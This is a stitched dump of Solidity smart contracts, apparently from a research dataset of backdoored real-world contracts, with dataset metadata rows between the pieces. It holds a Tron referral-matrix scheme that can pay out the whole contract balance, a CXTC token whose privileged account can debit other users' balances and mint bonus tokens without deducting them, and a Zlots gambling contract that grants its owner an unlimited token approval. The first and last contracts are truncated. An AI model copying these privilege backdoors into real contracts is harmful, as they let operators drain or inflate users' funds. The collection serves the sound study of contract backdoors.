require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
uint paynow;
if(tronchk>0)
{
paynow=150 trx/tronchk;
for (uint i = 1; i < lastUserId-1; i++) {
// if (items[i].owner == _owner) {
// result[counter] = i;
// counter++;
//}
//}
address ref1=userIds[i];
address ref=idToAddress[i];
if(users[ref].xAMatrix[1].status==1)
{
uint sumtot;
sumtot=users[msg.sender].xAMatrix[1].totreceve+paynow;
if(users[ref].xAMatrix[1].totreceve==0 trx && users[ref].xAMatrix[1].status==1)
{
//users[ref].xAMatrix[1].totreceve=1000 trx;
users[ref].xAMatrix[1].status=2;
tronchk--;
}
else
{
//users[ref].xAMatrix[1].totreceve=users[ref].xAMatrix[1].totreceve+paynow;
users[ref].xAMatrix[1].totCurrnt=users[ref].xAMatrix[1].totCurrnt+paynow;
users[ref].xAMatrix[1].totwith=users[ref].xAMatrix[1].totwith+paynow;
}
emit ChekFinalBroNew(ref,users[ref].xAMatrix[1].totreceve,users[ref].xAMatrix[1].totwith,paynow,tronchk,users[ref].xAMatrix[1].status,sumtot);
}
}
}
//set current level
users[userAddress].xAMatrix[1].currentReferrer = referrerAddress;
users[userAddress].xAMatrix[1].status=0;
users[userAddress].xAMatrix[1].totreceve=0 trx;
users[userAddress].xAMatrix[1].totCurrnt=0 trx;
users[userAddress].xAMatrix[1].totwith=0 trx;
if (users[referrerAddress].xAMatrix[1].firstLevelReferrals.length < 2) {
users[referrerAddress].xAMatrix[1].firstLevelReferrals.push(userAddress);
}
address ref1 = users[referrerAddress].xAMatrix[1].currentReferrer;
if (users[ref1].xAMatrix[1].secondLevelReferrals.length < 4) {
users[ref1].xAMatrix[1].secondLevelReferrals.push(userAddress);
}
emit Cheknew2(userAddress, referrerAddress,ref1, users[ref1].xAMatrix[1].secondLevelReferrals.length, users[referrerAddress].x8Matrix[1].secondLevelReferrals.length);
if(users[ref1].xAMatrix[1].secondLevelReferrals.length>3)
{
emit Cheknew1(userAddress, referrerAddress,ref1, users[userAddress].id, users[referrerAddress].id);
}
// users[ref1].xAMatrix[1].secondLevelReferrals.push(userAddress);
// emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
emit Cheknew1new(ref1, ref1,ref1, users[ref1].xAMatrix[1].status, users[ref1].xAMatrix[1].secondLevelReferrals.length);
if(users[ref1].xAMatrix[1].status==0)
{
if(users[ref1].xAMatrix[1].secondLevelReferrals.length>=4)
{
users[ref1].xAMatrix[1].status=1;
tronchk++;
users[ref1].xAMatrix[1].totreceve=10000 trx;
emit Cheknew(ref1, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
else{
users[ref1].xAMatrix[1].status=0;
}
}
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress, users[referrerAddress].id, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendTronDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTronDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendTronDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress,users[userAddress].id,ref,users[ref].id, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 3);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0],users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].id, 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1],users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].id, 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendTronDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendTronDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function get3XMatrix(address userAddress, uint8 level) public view returns(address, address[] memory, uint, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].reinvestCount,
users[userAddress].x3Matrix[level].blocked);
}
function getX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, uint, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].reinvestCount,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findTronReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedTronReceive(receiver,users[receiver].id, _from,users[_from].id, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedTronReceive(receiver,users[receiver].id, _from,users[_from].id, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendTronDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findTronReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
return address(uint160(receiver)).transfer(address(this).balance);
}
emit SentDividends(_from,users[_from].id, receiver,users[receiver].id, matrix, level, isExtraDividends);
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 284,705 | 316 |
a5d41784e1be19df9c4150007c8a20910b218592a32ab90f2c85d77c7000e4ee
| 18,867 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x1afafc35b364595f06e89a0429c5762452eb7ffd.sol
| 3,398 | 12,716 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
address public systemAcc; // charge fee
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlySys() {
require(systemAcc !=address(0) && msg.sender == systemAcc);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BasicToken is ERC20Basic, Pausable {
using SafeMath for uint256;
// mapping(address => uint256) balances;
mapping(address => uint256) freeBalances;
mapping(address => uint256) frozenBalances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= freeBalances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
freeBalances[msg.sender] = freeBalances[msg.sender].sub(_value);
freeBalances[_to] = freeBalances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return freeBalances[_owner] + frozenBalances[_owner];
}
function freeBalanceOf(address _owner) public view returns (uint256 balance) {
return freeBalances[_owner];
}
function frozenBalanceOf(address _owner) public view returns (uint256 balance) {
return frozenBalances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0));
require(_value <= freeBalances[_from]);
require(_value <= allowed[_from][msg.sender]);
freeBalances[_from] = freeBalances[_from].sub(_value);
freeBalances[_to] = freeBalances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract CXTCContract is StandardToken {
string public constant name = "Culture eXchange Token Chain"; // solium-disable-line uppercase
string public constant symbol = "CXTC"; // solium-disable-line uppercase
uint8 public constant decimals = 8; // solium-disable-line uppercase
uint256 public constant freeSupply = 21000000 * (10 ** uint256(decimals)); // 10%
uint256 public constant frozenSupply = 189000000 * (10 ** uint256(decimals)); // 90%
address[] parterAcc;
struct ArtInfo {
string idtReport;
string evtReport;
string escReport;
string regReport;
}
mapping (string => ArtInfo) internal artInfos;
mapping (address => mapping (uint256 => uint256)) public freezeRecord;
event Freeze(address indexed _addr, uint256 indexed _amount, uint256 indexed _timestamp);
event Defreeze(address indexed _addr, uint256 indexed _amount, uint256 indexed _timestamp);
event Release(address indexed _addr, uint256 indexed _amount);
event SetParter(address indexed _addr, uint256 indexed _amount);
event SetSysAcc(address indexed _addr);
event NewArt(string indexed _id);
event SetArtIdt(string indexed _id, string indexed _idtReport);
event SetArtEvt(string indexed _id, string indexed _evtReport);
event SetArtEsc(string indexed _id, string indexed _escReport);
event SetArtReg(string indexed _id, string indexed _regReport);
function CXTCContract() public {
owner = msg.sender;
totalSupply_ = freeSupply + frozenSupply;
freeBalances[owner] = freeSupply;
frozenBalances[owner] = frozenSupply;
}
function setParter(address _parter, uint256 _amount, uint256 _timestamp) public onlyOwner {
parterAcc.push(_parter);
frozenBalances[owner] = frozenBalances[owner].sub(_amount);
frozenBalances[_parter] = frozenBalances[_parter].add(_amount);
freezeRecord[_parter][_timestamp] = freezeRecord[_parter][_timestamp].add(_amount);
Freeze(_parter, _amount, _timestamp);
SetParter(_parter, _amount);
}
function setSysAcc(address _sysAcc) public onlyOwner returns (bool) {
systemAcc = _sysAcc;
SetSysAcc(_sysAcc);
return true;
}
function newArt(string _id, string _regReport) public onlySys returns (bool) {
ArtInfo memory info = ArtInfo({idtReport: "", evtReport: "", escReport: "", regReport: _regReport});
artInfos[_id] = info;
NewArt(_id);
return true;
}
function getArt(string _id) public view returns (string, string, string, string) {
ArtInfo memory info = artInfos[_id];
return (info.regReport, info.idtReport, info.evtReport, info.escReport);
}
function setArtIdt(string _id, string _idtReport) public onlySys returns (bool) {
string idtReport = artInfos[_id].idtReport;
bytes memory idtReportLen = bytes(idtReport);
if (idtReportLen.length == 0){
artInfos[_id].idtReport = _idtReport;
SetArtIdt(_id, _idtReport);
return true;
} else {
return false;
}
}
function setArtEvt(string _id, string _evtReport) public onlySys returns (bool) {
string evtReport = artInfos[_id].evtReport;
bytes memory evtReportLen = bytes(evtReport);
if (evtReportLen.length == 0){
artInfos[_id].evtReport = _evtReport;
SetArtEvt(_id, _evtReport);
return true;
} else {
return false;
}
}
function setArtEsc(string _id, string _escReport) public onlySys returns (bool) {
string escReport = artInfos[_id].escReport;
bytes memory escReportLen = bytes(escReport);
if (escReportLen.length == 0){
artInfos[_id].escReport = _escReport;
SetArtEsc(_id, _escReport);
return true;
} else {
return false;
}
}
function issue(address _addr, uint256 _amount, uint256 _timestamp) public onlySys returns (bool) {
// 2018/03/23 = 1521734400
require(frozenBalances[owner] >= _amount);
frozenBalances[owner] = frozenBalances[owner].sub(_amount);
frozenBalances[_addr]= frozenBalances[_addr].add(_amount);
freezeRecord[_addr][_timestamp] = freezeRecord[_addr][_timestamp].add(_amount);
Freeze(_addr, _amount, _timestamp);
return true;
}
function distribute(address _to, uint256 _amount, uint256 _timestamp, address[] _addressLst, uint256[] _amountLst) public onlySys returns(bool) {
frozenBalances[_to]= frozenBalances[_to].add(_amount);
freezeRecord[_to][_timestamp] = freezeRecord[_to][_timestamp].add(_amount);
for(uint i = 0; i < _addressLst.length; i++) {
frozenBalances[_addressLst[i]] = frozenBalances[_addressLst[i]].sub(_amountLst[i]);
Defreeze(_addressLst[i], _amountLst[i], _timestamp);
}
Freeze(_to, _amount, _timestamp);
return true;
}
function send(address _to, uint256 _amount, uint256 _fee, uint256 _timestamp) public whenNotPaused returns (bool) {
require(freeBalances[msg.sender] >= _amount);
require(_amount >= _fee);
require(_to != address(0));
uint256 toAmt = _amount.sub(_fee);
freeBalances[msg.sender] = freeBalances[msg.sender].sub(_amount);
freeBalances[_to] = freeBalances[_to].add(toAmt);
// systemAcc
frozenBalances[systemAcc] = frozenBalances[systemAcc].add(_fee);
freezeRecord[systemAcc][_timestamp] = freezeRecord[systemAcc][_timestamp].add(_fee);
Transfer(msg.sender, _to, toAmt);
Freeze(systemAcc, _fee, _timestamp);
return true;
}
function freeze(uint256 _amount, uint256 _timestamp) public whenNotPaused returns (bool) {
require(freeBalances[msg.sender] >= _amount);
freeBalances[msg.sender] = freeBalances[msg.sender].sub(_amount);
frozenBalances[msg.sender] = frozenBalances[msg.sender].add(_amount);
freezeRecord[msg.sender][_timestamp] = freezeRecord[msg.sender][_timestamp].add(_amount);
Freeze(msg.sender, _amount, _timestamp);
return true;
}
function release(address[] _addressLst, uint256[] _amountLst) public onlySys returns (bool) {
require(_addressLst.length == _amountLst.length);
for(uint i = 0; i < _addressLst.length; i++) {
freeBalances[_addressLst[i]] = freeBalances[_addressLst[i]].add(_amountLst[i]);
frozenBalances[_addressLst[i]] = frozenBalances[_addressLst[i]].sub(_amountLst[i]);
Release(_addressLst[i], _amountLst[i]);
}
return true;
}
function bonus(uint256 _sum, address[] _addressLst, uint256[] _amountLst) public onlySys returns (bool) {
require(frozenBalances[systemAcc] >= _sum);
require(_addressLst.length == _amountLst.length);
for(uint i = 0; i < _addressLst.length; i++) {
freeBalances[_addressLst[i]] = freeBalances[_addressLst[i]].add(_amountLst[i]);
Transfer(systemAcc, _addressLst[i], _amountLst[i]);
}
frozenBalances[systemAcc].sub(_sum);
Release(systemAcc, _sum);
return true;
}
}
| 143,913 | 317 |
6bcfad55de3f7d60bd181cc405aac482e454c254cf2d2a88ba480f2e94d785a0
| 19,469 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x934aa3c3cb92043349fa27ac7a608967bff85466.sol
| 4,283 | 16,592 |
pragma solidity ^0.4.24;
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zlots is ZTHReceivingContract {
using SafeMath for uint;
address private owner;
address private bankroll;
// How many bets have been made?
uint totalSpins;
uint totalZTHWagered;
// How many ZTH are in the contract?
uint contractBalance;
// Is betting allowed? (Administrative function, in the event of unforeseen bugs)
bool public gameActive;
address private ZTHTKNADDR;
address private ZTHBANKROLL;
ZTHInterface private ZTHTKN;
mapping (uint => bool) validTokenBet;
// Might as well notify everyone when the house takes its cut out.
event HouseRetrievedTake(uint timeTaken,
uint tokensWithdrawn);
// Fire an event whenever someone places a bet.
event TokensWagered(address _wagerer,
uint _wagered);
event LogResult(address _wagerer,
uint _result,
uint _profit,
uint _wagered,
uint _category,
bool _win);
// Result announcement events (to dictate UI output!)
event Loss(address _wagerer, uint _block); // Category 0
event ThreeMoonJackpot(address _wagerer, uint _block); // Category 1
event TwoMoonPrize(address _wagerer, uint _block); // Category 2
event ZTHJackpot(address _wagerer, uint _block); // Category 3
event ThreeZSymbols(address _wagerer, uint _block); // Category 4
event ThreeTSymbols(address _wagerer, uint _block); // Category 5
event ThreeHSymbols(address _wagerer, uint _block); // Category 6
event ThreeEtherIcons(address _wagerer, uint _block); // Category 7
event ThreeGreenPyramids(address _wagerer, uint _block); // Category 8
event ThreeGoldPyramids(address _wagerer, uint _block); // Category 9
event ThreeWhitePyramids(address _wagerer, uint _block); // Category 10
event OneMoonPrize(address _wagerer, uint _block); // Category 11
event OneOfEachPyramidPrize(address _wagerer, uint _block); // Category 12
event TwoZSymbols(address _wagerer, uint _block); // Category 13
event TwoTSymbols(address _wagerer, uint _block); // Category 14
event TwoHSymbols(address _wagerer, uint _block); // Category 15
event TwoEtherIcons(address _wagerer, uint _block); // Category 16
event TwoGreenPyramids(address _wagerer, uint _block); // Category 17
event TwoGoldPyramids(address _wagerer, uint _block); // Category 18
event TwoWhitePyramids(address _wagerer, uint _block); // Category 19
event SpinConcluded(address _wagerer, uint _block); // Debug event
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
// Requires game to be currently active
modifier gameIsActive {
require(gameActive == true);
_;
}
constructor(address ZethrAddress, address BankrollAddress) public {
// Set Zethr & Bankroll address from constructor params
ZTHTKNADDR = ZethrAddress;
ZTHBANKROLL = BankrollAddress;
// Set starting variables
owner = msg.sender;
bankroll = ZTHBANKROLL;
// Approve "infinite" token transfer to the bankroll, as part of Zethr game requirements.
ZTHTKN = ZTHInterface(ZTHTKNADDR);
ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1);
// For testing purposes. This is to be deleted on go-live. (see testingSelfDestruct)
ZTHTKN.approve(owner, 2**256 - 1);
// To start with, we only allow spins of 1, 5, 10, 25 or 50 ZTH.
validTokenBet[1e18] = true;
validTokenBet[5e18] = true;
validTokenBet[10e18] = true;
validTokenBet[25e18] = true;
validTokenBet[50e18] = true;
gameActive = true;
}
// Zethr dividends gained are accumulated and sent to bankroll manually
function() public payable { }
struct TKN { address sender; uint value; }
function tokenFallback(address _from, uint _value, bytes) public returns (bool){
if (_from == bankroll) {
// Update the contract balance
contractBalance = contractBalance.add(_value);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_spinTokens(_tkn);
return true;
}
}
struct playerSpin {
uint200 tokenValue; // Token value in uint
uint56 blockn; // Block number 48 bits
}
// Mapping because a player can do one spin at a time
mapping(address => playerSpin) public playerSpins;
// Execute spin.
function _spinTokens(TKN _tkn) private {
require(gameActive);
require(_zthToken(msg.sender));
require(validTokenBet[_tkn.value]);
require(jackpotGuard(_tkn.value));
require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200;
require(block.number < ((2 ** 56) - 1)); // Current block number smaller than storage of 1 uint56
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
playerSpin memory spin = playerSpins[_tkn.sender];
contractBalance = contractBalance.add(_wagered);
// Cannot spin twice in one block
require(block.number != spin.blockn);
// If there exists a spin, finish it
if (spin.blockn != 0) {
_finishSpin(_tkn.sender);
}
// Set struct block number and token value
spin.blockn = uint56(block.number);
spin.tokenValue = uint200(_wagered);
// Store the roll struct - 20k gas.
playerSpins[_tkn.sender] = spin;
// Increment total number of spins
totalSpins += 1;
// Total wagered
totalZTHWagered += _wagered;
emit TokensWagered(_customerAddress, _wagered);
}
// Finish the current spin of a player, if they have one
function finishSpin() public
gameIsActive
returns (uint)
{
return _finishSpin(msg.sender);
}
function _finishSpin(address target)
private returns (uint)
{
playerSpin memory spin = playerSpins[target];
require(spin.tokenValue > 0); // No re-entrancy
require(spin.blockn != block.number);
uint profit = 0;
uint category = 0;
// If the block is more than 255 blocks old, we can't get the result
// Also, if the result has already happened, fail as well
uint result;
if (block.number - spin.blockn > 255) {
result = 999999; // Can't win: default to largest number
} else {
// Generate a result - random based ONLY on a past block (future when submitted).
// Case statement barrier numbers defined by the current payment schema at the top of the contract.
result = random(1000000, spin.blockn, target);
}
if (result > 476661) {
// Player has lost.
emit Loss(target, spin.blockn);
emit LogResult(target, result, profit, spin.tokenValue, category, false);
} else {
if (result < 1) {
// Player has won the three-moon mega jackpot!
profit = SafeMath.mul(spin.tokenValue, 500);
category = 1;
